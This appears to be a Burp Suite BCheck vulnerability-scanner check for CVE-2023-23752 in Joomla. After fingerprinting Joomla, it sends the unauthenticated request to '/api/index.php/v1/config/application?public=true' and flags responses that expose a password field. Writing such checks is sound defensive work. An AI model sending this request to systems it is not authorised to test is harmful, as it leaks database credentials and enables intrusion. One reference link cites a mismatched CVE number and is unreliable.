CVE-2023-23752-Joomla-information-disclosure.bcheck

#https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html
#https://nvd.nist.gov/vuln/detail/CVE-2023-23552

metadata:
    language: v1-beta
    name: "CVE-2023-23752 Unauthenticated information disclosure"
    description: "Check for CVE-2023-23752"
    author: "sniperax"
    tags: "CVE-2023-23752","joomla","unauth","information","disclosure"

define:
    base_path = "/"
    potential_path = "/api/index.php/v1/config/application?public=true"

given host then
    send request called check1:
        method: "GET"
        path: {base_path}

    if "joomla-" in {check1.response.body} then
        send request called check2:
            method: "GET"
            path: {potential_path}

        if {check2.response.status_code} is "200" and "\"type\":\"application\"" in {check2.response.body} and "\"password\":" in {check2.response.body} then
            report issue:
            severity: high
            confidence: firm
            detail: "Title: Joomla! < 4.2.8 - Unauthenticated information disclosure"
            remediation: "Upgrade to the latest version of Joomla or upgrade to version > 4.2.8"
        end if

    end if